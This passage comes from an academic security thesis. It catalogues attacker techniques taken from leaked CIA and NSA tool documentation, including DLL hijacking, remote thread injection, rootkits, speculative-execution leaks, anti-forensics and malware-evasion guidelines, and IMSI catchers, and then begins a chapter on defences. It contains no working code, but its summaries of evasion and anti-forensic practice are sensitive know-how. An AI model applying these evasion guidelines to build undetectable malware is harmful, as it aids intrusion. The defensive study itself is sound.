bled using ARM versions of gcc, objcopy and objdump. Then the NetBSD kernels were
extracted and uncompressed before being parsed with binwalk tool (CIA, 2015a).
4.3.9 Evading Detection by Security Products
The Operational Support Branch (OSB) of the CIA actively practices evading detection by
PSP such as Anti-Virus (CIA, 2015, a). This has inspired the amalgamation "AntiSecDev"
to describe such practices. To prevent leaving signatures in their tools, attackers created
a tool, Incandescent Mind, to perform attribution signature analysis on their own tools
(CIA, 2016b).
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Attackers can use multiple methods to protect the investment in their malware while
using it through encryption, in memory (ﬁleless) or using vulnerabilities for which patches
already exist or those that they have other variations of (CIA, 2015b).
Network security products are specially tested against to avoid detection. The CIA (2014)
writes that while it is able to develop 400+ tools and updates per year, the security of its
targets is improving. As part of their eﬀorts to remain successful they planned to create a
realistic network environment, including ﬁrewalls, IDS, IPS, and netﬂow analysers, with
initial operation by the end of 2014.
4.4 Summary
The ﬁrst section of this chapter performed the analysis and categorisation of NSA TAO
tools. These are used to exploit weaknesses in and to attack cellular networks and phones,
routers, ﬁrewalls and wireless networking, servers, computers and their peripheral inter-
faces as well as to achieve room surveillance.
In the second section, the methods and techniques as well as some tools of the Equation
Group (NSA) were examined to provide insight into how attackers achieve and maintain
covertness and what goals they are striving for. This is revisited in Chapter 7 to see how
these methods could have been thwarted.
The last section explored the hacking tools and tactics of the CIA. This provides another
more recent view than the previous two sections into the capabilities of determined well
resourced attackers.
It showcases the RE of ﬁrmware, reuse of OS functionality, extensive eﬀorts at evading
detection, research into and reuse of techniques from other actors, multiple actions to
prevent attribution through misdirection and the eﬀectively industrial scale production
and testing of malware.
All three sections of nation state actor tools and techniques contributed evidence and
examples of the generalised attack approaches and techniques that are presented in the
next chapter.
With the continuing drop in the cost of technology combined with the inspiration of these
and other techniques, these are some actions that defenders will have to defend against
when they are employed by organised crime and other malicious actors, e.g., WannaCry.
Chapter 5
Attack Approaches and Techniques
This chapter serves to detail classes of attacks and techniques used by attackers that are
reusable across multiple pieces of malware.
Attackers seek to gain entry into a network of information systems, e.g., via a zero-day
exploit of a ﬁrewall or via an employee's access. They then need to be able to move
around within the network and search for high value targets. Having identiﬁed valuable
information systems they will need to gain suﬃcient privilege to access those. Lastly they
may need to get the information out of the network.
In order to achieve these goals while evading detection, attackers employ numerous attack
approaches and techniques. There are many approaches that attackers can employ to
gain unauthorised access to systems. Some of these target people that use or operate
the system while others target the technology components that compromise the systems.
Certain attack techniques are employed to circumvent security, intercept communications,
ﬁnd the location of a radio source or gain persistence in an information system that has
been compromised.
Langner (2011) explains in his talk on cracking Stuxnet that the delivery method and
payload of the attack can be varied. In this way malware code and zero-day exploits can
be reused to attack diﬀerent targets.
By grouping the approaches and techniques used by attackers in this chapter we set the
stage for addressing these with defences in the next chapter that can be used to defend
against attacks across diﬀerent technology stacks. This includes attacks that seek to
exploit unknown or zero-day vulnerabilities.
5.1 Attacking People
People are a vital part of information systems either as users or administrators for systems
in production or as designers, developers and testers while it is in development.
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5.1.1 Social Engineering
In his book Mann (2012) writes that social engineering encompasses a number of tech-
niques to target vulnerabilities in humans, for example, establishing trust in the attacker
and then exploiting this. There are also countermeasures available to combat social engi-
neering, such as understanding areas of weakness, training and awareness, and testing.
Mouton et al. (2014) provide a model for understanding and categorising social engi-
neering attacks. Each attack has a target individual or organisation and a social engineer
employing compliance principles (e.g. likeability or authority) and techniques (e.g., phish-
ing, pretexting or quid pro quo), communicating directly or indirectly over a medium (e.g.,
email or face-to-face) to achieve the goal (e.g., access or disruption).
Phishing
Phishing entails communicating with an end user and convincing him or her to perform
an action that enables the attacker to gain a foothold. In their study, Egelman et al.
(2008) convinced 97% of targeted users to click on a URL in an email as part of their
simulated spear phishing attack. If there was an active warning, 79% of users did not
proceed to the website, however this percentage dropped to a mere 13% if the warning
was of a passive type.
We can conclude that preventing a user from reaching the website, e.g., by not loading
it and displaying a message, is far more eﬀective than loading the website and merely
displaying a warning message that does not require an active eﬀort on the part of the user
to overcome.
5.2 Attacking Technology
Attackers can exploit ﬂaws in software, hardware and protocols, for example, those that
arise from poor design or implementation.
5.2.1 Finding Exploitable Flaws
There are many ﬂaws waiting to be found. These ﬂaws often exist for an extended period.
For example, Brand (2015) reported a bug in the Linux kernel that allowed user space to
read kernel memory. This bug had been introduced four years earlier in a patch submitted
by Pitre (2011).
One way for attackers to ﬁnd an exploitable vulnerability is to use binary diﬃng as per
Jurczyk (2017).
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5.2.2 Library Substitution
The Fine Dining tool by CIA (n.d.) makes extensive use of DLL hijacking of applications
to obtain code execution. Of the 23 execution vectors listed, 22 are of the DLL hijack
variety with the remaining one being a trojan. Most of these are found in the portable
(run from USB media) versions of programs.
Many execution vectors have their own sub-pages, e.g., User 71468 writes in CIA (n.d.a),
which show that the PROCMAN utility of Windows Systems Internals is being used to
determine which DLLs the application is searching for in which locations but not ﬁnding
and are thus available for hijacking.
5.2.3 Crossing Session Boundaries
User 71473 of CIA (n.d.b) provides a method for crossing session boundaries in Windows
through the use of RtlCreateUserThread. Compiler conﬁguration is used to overcome
the limitation of the function both having to exist in the remote process and having a
signature that matches LPTHREAD_START_ROUTINE1.
This compiler conﬁguration allows for the injection of non-thread functions by creating
a local function that wraps around the call and writing the wrapper function into the
remote process. The author also suggests using this technique to crash remote processes
by creating a function which divides by zero and injecting it with VirtualAllocEx2 and
WriteProcessMemory3 before using the MyCreateRemoteThread4 to call the function.
5.2.4 Privilege Escalation
In spite of Android being a modern OS that implements security features like sand-boxing
and permissions, Davi et al. (2010) demonstrate a privilege escalation attack. The speciﬁc
implementation of their attack includes exploiting a heap overﬂow vulnerability combined
with a return-orientated program attack technique. The general form of their attack is to
have an application with lower privileges exploit another application with higher privilege
to perform functions for which has not been granted permission.
1A pointer used in a callback function:
https://msdn.microsoft.com/en-us/library/windows/desktop/ms686736(v=vs.85).aspx
2A function that initialises and allocates and area of memory:
https://msdn.microsoft.com/en-us/library/windows/desktop/aa366890(v=vs.85).aspx
3A function used to write data to a memory area of a process:
https://msdn.microsoft.com/en-us/library/windows/desktop/ms681674(v=vs.85).aspx
4https://wikileaks.org/ciav7p1/cms/space_1736706.html
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From this paper we can deduce that heap overﬂows and return orientated programming are
existing well-known attacker techniques. The Android security model assessed permissions
on a per application level but did not prevent one application from exploiting another.
Standards and Speciﬁcations
The CIA (2014) sets out a speciﬁcation for executing code in kernel mode on Microsoft
Windows. The speciﬁcation mentions that ﬁrst execution privileges are gained, then the
loader begins by allocating memory for the payload and if possible locking it to prevent
it being swapped out to disk. The payload is then queued for execution and must return
promptly so as not to deadlock the loader. Post execution the loader zeros and frees the
memory that had been allocated to the payload.
5.2.5 Trojans
Blaich et al. (2018) point out that the Dark Caracal cross platform attack does not use
zero-day exploits of technology vulnerabilities, but instead convinces users to download
malicious versions of existing applications. The original application has additional at-
tacker functionality embedded within it and hence is referred to as a trojan horse or
trojan for short.
5.2.6 Rootkits
Application or user space rootkits run at ring three and are detectable by user or kernel
level security software, e.g., Tripwire by Kim and Spaﬀord (1994), which notes any changes
to ﬁles or directories and alerts on these.
However, if a system's OS is compromised then the application's security implementations
can be worked around. WikiLeaks (2017) writes that the CIA possesses exploits for
compromising the Apple and Android end devices which allows them to work around the
end-to-end encryption of chat applications, e.g., by capturing the unencrypted text from
the keyboard or screen.
Virtualisation or hypervisor rootkits at ring 'negative one' are also possible, e.g., King and
Chen (2006) implemented a virtual-machine based rootkit by installing a Virtual Memory
Monitor beneath an existing operation system.
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Beneath the hypervisor, ﬁrmware is an attractive target for attackers. The CIA (2015)
notes that variables stored in the NVRAM oﬀer an interesting opportunity for their tools
to have storage that persists in spite of OS re-installation.
The CIA (2015b) also provides internal documentation on how to reverse engineer ﬁrmware.
This ﬁrst shows how to extract the ﬁrmware from an Apple Airport before dumping it to
a ﬁle. It then demonstrates how to parse the ﬁrmware, extracting the public and private
keys as well as the NetBSD kernel.
Attackers can also exploit the System Management Mode of the CPU which is considered
as ring 'negative two'. Embleton et al. (2013) describe a PoC SMM rootkit which captures
keyboard input and transmits it across the network.
Out-of-band management utilises a dedicated channel for managing devices. Such man-
agement interfaces are equivalent to having physical access to the machine, e.g., to change
BIOS settings. One such implementation is the management processors that Tereshkin
and Wojtczuk (2009) exploit to demonstrate an attack at ring 'negative 3' by injecting
code into Intel's AMT, which is based on Intel's ME. This provides the attacker access to
main memory and networking capability.
Similarly, Cohen (2018) writes that a ﬂaw was discovered in AMD's SP using manual
static analysis of the code. This revealed a missing bounds check in the function which
checks the certiﬁcate and allows for a buﬀer overﬂow. Dino Zovi explained in order for the
attack to take place, the attacker must be able to write the specially formed certiﬁcate
into the NVRAM which would entail privileged physical access as per Claburn (2018).
In addition to management processors there are management consoles which also suﬀer
from vulnerabilities with CVE (2018) listing 15 of these for Oracle's ILOM product.
5.2.7 Speculative Execution
In a blog post, Fogh (2017) demonstrates that Intel's implementation of Tomasulo's al-
gorithm is vulnerable to side-channel attacks. This culminates in access to speculative
execution results that are not committed. The author also reveals that speculative exe-
cution takes place even when violating the isolation of user and kernel mode.
Intel (2018) explains that the side channel attack method consists of determining whether
a piece of information is in a speciﬁc cache level by measuring the time it takes to access
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it. Three methods for doing this are explained: Bounds Check Bypass where out-of-
bounds memory is accessed speculatively prior to the bounds check completing, Branch
Target Injection where the attacker inﬂuences the branch predictors to ensure that
malicious code is speculatively executed, and Rogue Data Cache Load, where an attacker
using speculative execution can access kernel memory in the L1 cache from user level
applications.
Meltdown Attack
The essence of the Meltdown attack is explained by Lipp et al. (2018) who write that
by causing the processor to execute a transient instruction, an inaccessible memory value
can be determined and read via a cache timing side-channel attack by the attacker. In
this manner the concept of memory isolation is compromised.
Intel processors are vulnerable to the Meltdown attack while those of AMD are not. This
is due to AMD protecting privilege levels for memory paging (Papermaster, 2018).
Spectre Attack
Kocher et al. (2018) and Horn (2018) write that like Meltdown, the Spectre attack also uses
a cache timing side-channel attack to leak information from memory. However, Spectre
exploits branch mis-prediction to cause one process to access the memory belonging to
another. The processor's speculative execution functionality does not follow the usual
safeguards that keep memory secret from other users and applications thus allowing it to
be accessed and the contents are deduced using a cache timing attack.
Maurice et al. (2017) mention that cache covert channels were developed which resulted in
cache noise being proposed as a preventative countermeasure. The introduction of cache
noise has a performance cost that increases with the amount of introduced noise (Crane
et al., 2015). The researchers then added synchronisation and error correction to their
cache-based covert communication channel allowing them to communicate between virtual
machines even in the presence of large amounts of cache noise. The countermeasure was
thus overcome.
This illustrates the arms race which takes place between attackers and defenders resulting
in the continuing evolution of attacks and defences.
5.3 Evading Detection
Evading detection is a central consideration of attackers because if detected, defenders
are likely to take action to stop the attack and prevent it again in the future.
5.3. EVADING DETECTION 68
5.3.1 Using Operating System Functionality
One of the ways in which attackers can live oﬀ the land is for them to employ existing
OS tools to obtain data. Such data can include machine names and IP addresses from
DNS, and user account names from centralised credential services, e.g., Active Directory
or LDAP. As this functionality serves an essential purpose, it is not possible to remove or
disable these without negatively impacting the functioning of the network.
As seen in OddJob in Section 4.2.1, reusing OS functionality allows for small payload sizes.
This can increase the diﬃculty of detection due to it being a very small component of
network traﬃc. SeaPea shows ingenious use of the open syscall to run rootkit commands.
As seen in Section 4.1.7 the NSA used WMI to gather information and in Section 4.3.6 it
is used by the CIA for persistence, process creation, monitoring, and so on. Section 4.3.6
shows the use of PowerShell by the CIA. Mansﬁeld-Devine (2017) writes that PowerShell
attacks can avoid much of the scrutiny that security products pay to ﬁle-based malware
and that WMI and PowerShell attacks have increased since 2016.
5.3.2 Anti-Forensics
New developers are encouraged to learn about how to avoid basic forensics (CIA, 2015a).
This includes obfuscating string and data through the use of tools, e.g., Marble Frame-
work, being cognisant of the diﬀerence between temporary and permanent storage by
using the latter for persistence and the former for storing more sensitive materials where
it is harder for PSP to detect. Tools are made to delete themselves, preferably doing so
in a "secure" manner i.e. so that it cannot be undeleted. Developers are encouraged to
consider which parts of the tool need to be encrypted versus obfuscated during the design
phase.
The CIA (2015e) provides an interesting discussion of Kaspersky Lab's exposé on the
Equation Group and how they can avoid the same problems. They list not using custom
crypto implementations to prevent highlighting the code during RE analysis. Scanning
for and removing unique strings, e.g., PDB paths, from the binary prevents leaving arte-
facts for forensic analysis to discover. Sharing custom code between tools (e.g., RC5 with
negative constants and positive hashing techniques) and the use of command and con-
trol domains allowed the tools to be tied together by the security researchers. Internal
standards that mandate such implementations, e.g., the NSA's custom crypto standard,
should also be avoided. Reuse of exploits requires tracking which exploits and techniques
have been discovered by defenders and ceasing to use them in other tools to avoid their
discovery and subsequent correlation of the tools by defenders.
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5.3.3 Malware Development Techniques
The CIA (2015) provides many guidelines for developing malware. General requirements
include stripping debug and build artefacts, obfuscating or encrypting any strings or
conﬁguration data that indicate the tool's functionality and not storing sensitive data,
e.g., encryption keys, shell code or plain-text, in memory when not required. Timestamps
should be in the US style format and compile, linker, build or access times must not
reﬂect core US hours to prevent correlation with the US. Similarly, data or terminology
that implicates the CIA or US government is forbidden.
The forensic footprint of the tool's disk usage should be documented to understand any
examinable artefacts. To lesson the potential for these unnecessary reading, writing or
caching data to disk should be avoided. Files should be encrypted and securely deleted.
Magic headers or footers for encrypted ﬁles should be avoided as they can serve as sig-
natures. Traces or artefacts should not be left on the target and an uninstall mechanism
should be provided that removes ﬁles, injected threads and forked processes, registry keys,
and services. This increases the diﬃculty of RE and attribution during malware analy-
sis. Tools should not attract attention by using unusual function names, hacker terms,
generating blue screens, pop-ups, core or crash dump ﬁles when the application crashes.
Similarly, they must not cause the target system to become unresponsive due to CPU or
disk IO spikes nor experience screen hangs or ﬂashes.
The use of encryption has suﬃcient requirements that it requires its own document to
detail them (CIA, 2013a). All collected data should be encrypted and network com-
munications should use end-to-end encryption to frustrate network analysis and protect
collected data. Due to multiple MITM attacks and ﬂaws in SSL/TLS protocols these
should not be relied on as the sole means of encrypting transmitted data; instead data
should be encrypted prior to sending it.
Standard protocols should be used and complied with to avoid standing out from normal
traﬃc during network analysis by an IDS or person. The replaying of network traﬃc, e.g.,
command and control packets, should be prevented to protect operational entities. The
timing and size of beacon and/or network communications should be varied to prevent
a predicable pattern of packets and thereby increase the diﬃculty of network analysis.
Unused network connections should be removed to avoid assisting incident response and
network analysis.
All versions of PSP/AV should be tested as the free and commercial versions may not be-
have the same. Live Internet connections should be used as this can change the behaviour
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of PSP, e.g., uploading of samples that match various criteria.
5.3.4 Encryption and Operational Security to Maintain Conﬁ-
dentiality
As seen in Aeris in Section 4.3.1, communications are encrypted and data exﬁltrated from
target systems can only be decrypted on systems that possess the private key of the CA
certiﬁcate. This prevents defenders who may record the network traﬃc from discovering
what data is being sent over the network. OpSec is also highly stressed, e.g., keeping the
private keys only on secure, unexposed servers.
Receipt ﬁles are used in other projects and tools and are used to encrypt commands so
that only a speciﬁc build of an implant can decrypt them. Implants that remain silent
unless they can reach a ﬁle on the Internet are much harder to ﬁnd when they do not
have Internet access or if the ﬁle is not in place.
5.3.5 Obfuscation
As seen in Chapter 4, attackers take great pains to evade detection and one of the methods
that they employ is obfuscation. This goes as far as creating tools such as MarbleFrame-
work in Subsection 4.3.3 whose purpose is to frustrate and misdirect forensic analysis.
There are numerous obfuscation techniques available to attackers who wish to ensure
that their malware is not detectable by signature based anti-malware tools. You and Yim
(2010) list six obfuscation techniques employed by encrypted, oligomorphic and polymor-
phic, and metamorphic malware. These include inserting dead-code, reassigning registers,
reordering sub-routines, substituting instructions with equivalent instructions, transpos-
ing code and code integration with a target program.
5.4 Circumventing Security
Attackers have at their disposal a variety of techniques that serve to circumvent security
rather than directly defeat it. These include attacking via a side channel and using the
defender's tools and methods to vet their attacks.
Side-channel attacks are described by Wang and Lee (2006) as attacks that determine
conﬁdential information through unusual means. For example, by analysing the diﬀerence
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in power use or time taken during encryption, key bits may be determined. This would
prove quicker and easier than breaking the encryption mathematically.
Attackers can use defender's tools to improve their attacks, e.g., by submitting their
malware to virus scanners to see if it is detected. The CIA (2014) provides many guidelines
for testing its software against personal security products such as anti-virus software and
is adamant about the importance of doing so before it is released.
Attackers can also use the methods used by defenders to determine how easy it is to
ﬁnd signs of their malware. For example, the engineering development guide for the Hive
software by CIA (2014) explains how after the network traﬃc triggers were detected by
their forensics division, the engineering development group obfuscated the triggers.
5.4.1 Using Time Windows to Increase Detection Diﬃculty
As seen in the sixth network intrusion of the SWIFT network (see Section 7.7), the Ped-
dleCheap utility supports time-windows that determine when it will listen for connection
attempts.
When a short time-window is speciﬁed then for the majority of the time it will be dormant.
This makes it much harder to ﬁnd as open port network scans will only be able to detect
it during the speciﬁed time window.
5.4.2 Abusing White-Listing
A method of circumventing writing to protected directories on MacOS is described by
CIA (m). First the list of white-listed ﬁles is determined and then these are used to eﬀect
the write.
5.4.3 Encrypted Networks
GCHQ (2011) describes several tactics for use against targets who make use of encryption.
These include starting with an IP address, expanding this to a IP address range and then
following the chain outwards. Information can be enriched from the IP address registries,
DNS, conﬁguration ﬁles from network devices and inferred from other IP addresses in the
same subnet. A key tactic is to grab the data before it is encrypted.
SeaPea's multi-layer hierarchical structure, shown in Section 4.3.1, provides ﬂexibility in
determining what processes are hidden from other processes.
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5.4.4 Side Channel Attacks
If during operation, the state of a system changes consistently in a manner which is
observable to an attacker, then a side channel attack is possible.
When considering why speculative execution leads to security vulnerabilities we can see
that the caches are susceptible to monitoring and the speculative execution of both
branches fetches the memory into the cache.
This is the result of design decisions which do not enforce security restrictions on the spec-
ulative executed operations until after the branch condition has been evaluated. However
by this point the caches are already available from which the nature of the information
retrieved from main memory can be learned.
Attackers can look for operations that, whether intentionally or unintentionally, do not
honour or enforce security boundaries and thereby leak information (even transiently).
5.5 Compromising Emanations - Tempest radiation
One of the most enduring problems facing information security is that of compromising
emanations aka Tempest radiation which electromagnetically broadcasts data (Kuhn and
Anderson, 1998).
5.5.1 Overcoming the Air Gap
Air-gapped networks is a security control where secure networks are physically separated
from non-secure networks thus creating a literal air-gap in the network over which network
packets cannot be sent, received or intercepted.
However electrical signals induce magnetic waves that can be intercepted and converted
back to the original signal with appropriate equipment and signal processing, thus over-
coming the air-gap. Examples of air-gap bridging techniques namely, CottonMouth,
SurlySpwan and RageMaster are discussed in Section 4.1.
According to Kuhn and Anderson (1998) RF engineering is not the sole method to exploit
or mitigate against Tempest. They state that software techniques can also be used to
create new attacks and defences.
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Guri et al. (2016) describe using software to cause a USB connector to transmit electro-
magnetic emissions at a rate of 80 bytes per second over a short distance of approximately
one metre to a USD 30 SDR receiver.
Tempest contains both solutions to and exploits for overcoming air-gapped networks by
electromagnetic radiation.
5.5.2 Intercepting Electromagnetic Radiation
Guri et al. (2014) provide a method for using the FM radio receiver in cellular phones
infected with malware to collect the radio signals emanating from computers that have
been modulated with information. In addition, Subsection 4.1.10 provides examples of a
number of tools that use radar to illuminate a retro-reﬂector and capture the returned
signal that has been modulated with data.
5.6 Interception
Interception takes place once the data leaves the computer, e.g., to a keyboard, moni-
tor, network or via EMI. Interception of communications allows attackers to gain access
to information and enables them to change what is being communicated between the
authorised parties.
5.6.1 Impersonation / Man-in-the-Middle
Attackers can impersonate a cellular base station to gather information using a MITM
attack. Real world implementations include Thyphon-HX, Cylcone-HX9, Nebula, EBSR,
as described in Subsection 4.1.1.
Similar approaches can be applied to 802.11 wireless networking, e.g., the Wiﬁ Pineapple5.
O'Hanlon and Borgaonkar (2016) provide a method for creating a wiﬁ version of an IMSI
catcher.
A variation on the MITM attack is the man-on-the-side attack as described in Appendix
D.1. Its suitably for use in lateral movement has been highlighted by Haagsma (2015).
It is also possible to hijack DNS which allows redirecting targets to diﬀerent IP addresses
and facilitates attacking the protections oﬀered by TLS/SSL certiﬁcates (NSA, n.d.).
5https://www.wifipineapple.com
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5.6.2 Networks
Callegati et al. (2009) describe a MITM attack where the attacker intercepts traﬃc from
both the web server and the client while pretending to be the other part in both directions
of the communication. This allows the attacker to decrypt the communication, record it
and even manipulate it.
Firewalls are a special case because they are security devices which are also gateways for
communication to ﬂow through. While diﬃcult for attackers to compromise they oﬀer
great potential to be able to monitor and intercept traﬃc due to their privileged location
on the network.
As described in Subsection 4.1.4, there are numerous attacks against ﬁrewalls, e.g., JetPlow
and BananaGlee for Cisco, SouffleTrough and GourmetTrough for Juniper and HalluxWater
for Huawei ﬁrewalls. These attacks delivered backdoor access and exﬁltration capabilities
to the attackers.
While root access is required to install the Gyrfalcon malware discussed in Subsection
4.3.1, the attacker will already have this if a rootkit has been installed. This does, however,
demonstrate how one compromised system can spread by capturing communications and
credentials exchanged with other systems.
5.7 Location Finding
There are numerous methods for determining the location of phones that are communi-
cating with a cellular network (Smit et al., 2012). By impersonating cellular base stations
these methods become available to attackers.
5.7.1 GeoLocation via Software Deﬁned Radio
In Subsection 4.1.1 numerous tools using SDRs to track direction are discussed, e.g.,
HollowPoint, WaterWitch and Genesis. Such attacks are especially pernicious as the
user of the phone can be tracked by simply possessing it.
Furthermore, multiple SDRs can be used for direction ﬁnding as can directional antenna.
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5.7.2 Tripwire for Radio Frequency Broadcasting Devices
Due to the fact that radio devices such as cellular phones broadcast their presence to
the network, they can be listened for. One key vulnerability that makes IMSI-catchers
possible for cellular phone systems from 2G to 4G is that the SIM card in the phone has
to send its IMSI over plain-text which makes it available to attackers using either active
or passive attacks (van den Broek et al., 2015).
There exist various systems, e.g., CandyGram and Thyphon-HX (see Subsection 4.1.1),
which act as tripwires when target devices come into range and communicate with them.
5.8 Gaining Persistence
Software implants or malware can be removed from hard-drives by PSP or by formatting
and reinstalling the software on the computer. Any malware that only resides in memory
can be removed by a reboot. To overcome this attackers use various means to gain
persistence for their malware on a system. Subsection 4.1.7 discusses the BullDozer
hardware implant that provides persistence for the Kongur software implement.
5.8.1 Hardware Implants
FitzPatrick (2016) created and demonstrated ﬁve hardware implants. The ﬁve meth-
ods include privilege escalation via JTAG, using Direct Memory Access to patch kernels,
controlling a Programmable Logic Controller (PLC) wirelessly, inserting a malicious hard-
ware module into a PLC without powering it oﬀ and attacking a computer using a USB
C display adapter. As the most expensive of these devices costs less than USD 75 these
techniques are within the ambit of the hobbyist. It follows that more well resourced threat
actors such as organised crime are easily capable of employing such techniques.
RF retro-reﬂectors are a recurring type of hardware implant in the NSA's ANT catalogue.
However, these types of bugs are not limited to nation states and the designs for equivalent
devices are freely available online. Ossmann (2014) created and published the designs
online6 for ﬁve retro-reﬂectors, two general purpose (one Field-Eﬀect Transistor (FET)
and one P-type, Intrinsic, and N-type (PIN) material diode based design), one for PS/2
keyboards, another for USB devices and lastly one for monitoring VGA.
6https://github.com/mossmann/retroreflectors
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5.8.2 Firmware Implants
Subsection 4.1.7 describes two implants that modify ﬁrmware. The IrateMonk implant
modiﬁes hard drive ﬁrmware to substitute the MBR and the Swap implant performs a
BIOS modiﬁcation to exploit the HPA of the hard drive to achieve execution prior to OS
loading. Such ﬁrmware implants will survive formatting of the hard drive.
5.8.3 Compromise in Depth
From analysing the ﬁles authored by Pecoraro (2013) we learn that frequent use was made
of DSquery to survey the network. The high number of implants and beacons showed that
the attackers had moved laterally in the network and compromised many of the machines
on it. Re-imaging or reinstalling ten machines would not have removed the attacker from
the network.
The network had been thoroughly mapped out and understood. The attackers had gone
as far as creating network diagrams to visually depict the network. They even created
an extra network diagram depicting how to exﬁltrate data which mentions implants from
NSA ANT catalogue for network devices. The status presentation on the JeepFlea Market
operation claims a presence on front-end, middleware and back-end systems.
The attackers were organised and well-prepared with tools to script or automate attack
actions and preprepared SQL queries to extract data from Oracle databases. They made
heavy use of network redirection which would complicate tracking their movements. There
were multiple separate network intrusions from July 2012 to September 2013.
5.9 Summary
This chapter presented approaches and techniques used by attackers to attack people and
technology. Some of these attacker methods are aimed at evading detection, circumvent-
ing security or gaining persistence while others are intended to exﬁltrate data, intercept
communication or determine the location of a target.
Defenders should be aware of the attacker techniques that can be employed against their
users and information systems. The following are some key challenges that attackers
present to defenders and that the next chapter seeks to address by presenting various
defences to mitigate them.
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 The combination of possible compliance principles used in the various techniques
across multiple mediums results in a large permutation of social engineering attacks
making it hard for defenders to defend against.
 Attackers seek to avoid causing warning messages and circumventing technologies
that prevent users from aiding them in social engineering attacks such as phishing.
They are also aware of the eﬀorts of defenders to detect and reverse engineer their
malware. They are able to remove or replace artefacts that could be found by
forensic level analysis.
 Moreover, attackers are able to circumvent security defences by removing themselves
from the observable domain, e.g., by moving to the lower hardware rings.
 OSes providing functionality like WMI and PowerShell allow attackers to live oﬀ
the land while increasing the diﬃculty of detection. Attackers who reuse OS func-
tionality and query information services that are essential to the functioning of a
network, e.g., DNS lookups or OS, e.g, ﬁle deletion, are attacking the indefensible.
 Electromagnetic radiation goes hand-in-hand with electronics and can be used to
breach security boundaries, e.g., by bridging air-gaps. Similarly, devices that broad-
cast RF on known frequencies can be listened for until they come into range, e.g.,
cellular phones, wireless cards, Bluetooth, NFC, and so on.
 Communication and/or networking scenarios are subject to interception, imperson-
ation and MITM attacks should adequate safeguards not be in place to conﬁrm
participant identities and encrypt traﬃc between them. By intercepting the data
as it leaves the computer, the attacker does not need to compromise the computer
itself.
 Attackers can employ non-software methods, e.g., ﬁrmware and hardware, to persist
their malware.
Chapter 6
Defences against Attack Types
According to Yoran and Robertson (2015), zero-days are by deﬁnition impossible to pre-
pare for but to speed response they suggest preparing, prioritizing, monitoring, keeping
up with change, catering for human fallibility and continuous testing and improvement of
security.
There are numerous techniques that can be used to secure information systems and defend
against attacks. Speciﬁc cyber attack implementations can be defended against once they
have become known. However, as Langner (2013) states, attack tactics and methodologies
can be learned from existing attacks and then used in the creation of new attacks, which
may target other industries and even exploit new vulnerabilities.
This chapter suggests defences applicable to categories or classes of attacks that were
distilled from Chapter 4 and presented in Chapter 5. As such, the defences in this chapter
are ordered similarly to the attacks in the previous chapter. These defences are intended
to provide value to defenders even in the face of attacks that make use of exploits that
target zero-day vulnerabilities.
Defenders should aim to detect and prevent attackers as they gain entry to a network, move
laterally and gain administrator privileges. By understanding the attacker's techniques
defenders can seek to mitigate against them and even raise the costs to the attacker to
dissuade them.
6.1 Defending People
Defending people is a critical component of overall information security. If eﬀort were
only spent on improving the security posture of the processes and technology then the
people would remain the weak point that attackers would still be able to target.
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6.1.1 Training
Practising good OpSec is especially important as attackers can turn to other methods
and sources to circumvent security1. Patching the people vulnerabilities through training
helps reduce the rate at which users succumb to phishing attacks (Sheng et al., 2010).
To prevent and/or mitigate against social engineering attacks, Hadnagy (2010) recom-
mends learning to recognise the various types of social engineering attacks, creating a
culture of security awareness, knowing the value of the information being requested, de-
veloping standard operating procedures, learning from social engineering tests and keeping
the software updated.
The success of such defensive eﬀorts should be monitored by periodically testing the
organization's employees, e.g., conducting mock phishing exercises against them, and
tracking the results.
6.1.2 Information to Assist Decision Making
In their study Egelman et al. (2008) show that if there is an active warning, 79% of users
do not proceed to a risky website, however this percentage drops to a mere 13% if the
warning is of a passive type.
This indicates that preventing a user from proceeding to risky website by displaying a
message that requires action is far more powerful than allowing the user to load the
website and then displaying a warning message that does not require active eﬀort on the
part of the user to bypass.
6.2 Defending Technology
Besides poor processes and untrained people, technology is the third system triad that
can be attacked.
6.2.1 Compartmentalization
Compartmentalisation is a well-established concept in security. Systems can be divided
into separate areas with diﬀerent levels of security. This can be used to prevent or mitigate
attacks that succeed in compromising the security of a particular compartment or area
by limiting their ability to spread without further compromises.
1https://www.wbur.org/onpoint/2016/03/01/michael-hayden-nsa-encryption
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Memory Isolation
Evans (2014c) explains that memory isolation is enforced by the OS at a per process
level, i.e., one user space process cannot access the memory contents of another's memory
space. Some hardware, e.g., ARM processors, enforce this restriction when mapping the
linear/ﬂat memory address to the physical address based on what the OS kernel has
instructed.
Evans (2014c) continues to explain that memory isolation can also be implemented in
software. In the case of the Rust programming language, which guarantees memory
isolation between tasks running in the same process, code is added at compile time to
check that a memory write is allowed. For application memory isolation, such as that
within the Chrome browser, there could be multiple plugins that need to be isolated to
prevent access to each other's memory, yet all run in the process of the browser. This is
achieved using an implementation of Native Client which performs the same additional
checks as the Rust programming language during the transform and load of the plugin.
Maurice et al. (2017) demonstrate that compartmentalisation is an obstacle to data ex-
ﬁltration that can be overcome. They use the shared nature of the lowest level cache to
overcome the compartmentalisation enforced by hypervisors and ﬁrewalls to communicate
between virtual machines on diﬀerent CPU cores.
To prevent this leakage which breaks isolation, Kiriansky et al. (2018) propose introducing
protection domains at a hardware level to prevent cache hits across beyond each domain.
OS Containers
Reshetova et al. (2014) explain that OS level virtualisation consists of multiple, separate
user spaces commonly referred to as containers run on a shared OS kernel. By sharing
the kernel and underlying interfaces of the OS less processor, memory and networking
overhead is incurred compared to hypervisor virtualisation. The authors reviewed the
security of seven OS containers, FreeBSD Jails, Linux-Vserver, Solaris Zones, OpenVZ,
LxC and Cells/Cellrox and evaluated them on their separation of process, ﬁle-system,
device, Inter Process Communication (IPC) and network isolation as well as their ability
to limit resources. The authors focused their ﬁndings on Linux and found that while
network isolation was achieved, there were still open problems with resource limiting,
separation of processes, and isolation of ﬁle-systems, devices and IPC.
Eﬀorts to increase security in Linux containers continue with patches being submitted to
restrict guest's access to its own memory. This constrains attackers that have root access
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on the guest from being able to manipulate kernel data such as the interrupt descriptor
or hooking syscalls2.
Network Segmentation
The problem of insecure systems being connected to the Internet is highlighted by the fact
that software that controls fuel station pumps contained zero-days exploits. By reverse
engineering the ﬁrmware, it was found to contain default login credentials. This allowed
attackers to change the fuel price and shut down the pumps amongst other actions3.
These pumps were connected to the Internet and were found using Shodan4. If the pumps
had not been connected to the Internet, then the zero-day would not have been exploitable.
This could have been achieved through network segmentation and/or the use of a ﬁrewall
to only allow traﬃc from head oﬃce to modify the conﬁguration of the pump control
software.
Privilege Separation
One method of mitigating against privilege escalation is to separate applications into
privileged and unprivileged components as described by Provos et al. (2003). This has
the eﬀect of reducing the amount of code that runs with higher privileges, which in turn
